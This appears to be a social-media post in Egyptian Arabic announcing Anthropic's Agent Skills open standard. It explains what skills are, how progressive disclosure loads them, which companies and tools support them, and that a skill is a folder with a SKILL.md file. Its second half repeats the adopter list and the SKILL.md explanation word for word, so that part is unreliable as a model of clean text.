يوم 18 ديسمبر، شركة Anthropic نشرت مواصفة Agent Skills كـ ستاندرد مفتوح،
وده تكرار لنفس الاستراتيجية اللي قبل كده خلت Model Context Protocol (MCP) يبقى ستاندرد شبه رسمي في الصناعة.
🔻 يعني إيه Skills؟
هي عبارة عن مجلدات فيها:
تعليمات
سكربتات
وموارد مختلفة
الـ AI agents بيحمّلوها ديناميكي عشان ينفذوا مهام متخصصة.
ببساطة:
بدل ما كل مرة تكتب prompt معقد وطويل،
بتعمل skill مرة واحدة،
والـ agent هيستخدمه تلقائي لما السياق يحتاج كده.
🔻 الفكرة هنا إنك بتغلف الخبرة
Expert knowledge
في وحدات قابلة لإعادة الاستخدام (Reusable Modules).
🔻 المبدأ الأساسي في التصميم اسمه: Progressive Disclosure
يعني إيه؟
أول ما الـ agent يبدأ، بيحط في الـ context بس الميتاداتا بتاعة كل skill
(كام توكن صغيرين)
المحتوى الكامل للـ skill بيتحمّل بس لما المهمة فعلًا تحتاجه
وده يسمح إنك تبني مكتبات skills ضخمة
من غير ما تستهلك ذاكرة الموديل أو تبوّظه.
☝️ مايكروسوفت سبق وطبّقت Agent Skills
في:
VS Code
GitHub
وكمان ستاندرد الـ Skills اتدعّم من:
Cursor
Goose
Amp
OpenCode
Letta
وحتى OpenAI استخدمت نفس الفورمات
في:
Codex CLI
ChatGPT
ومن الشركات اللي بتبني Skills للكatalog:
Atlassian
Figma
Canva
Stripe
Notion
Zapier
☝️ تقنيًا، إنشاء Skill سهل جدًا
كل اللي محتاجه:
فولدر
ملف اسمه SKILL.md
جواه:
Metadata بصيغة YAML (زي name و description)
وتعليمات مكتوبة بـ Markdown
في:
VS Code
GitHub
وكمان ستاندرد الـ Skills اتدعّم من:
Cursor
Goose
Amp
OpenCode
Letta
وحتى OpenAI استخدمت نفس الفورمات
في:
Codex CLI
ChatGPT
ومن الشركات اللي بتبني Skills للكatalog:
Atlassian
Figma
Canva
Stripe
Notion
Zapier
☝️ تقنيًا، إنشاء Skill سهل جدًا
كل اللي محتاجه:
فولدر
ملف اسمه SKILL.md
جواه:
Metadata بصيغة YAML (زي name و description)
وتعليمات مكتوبة بـ Markdown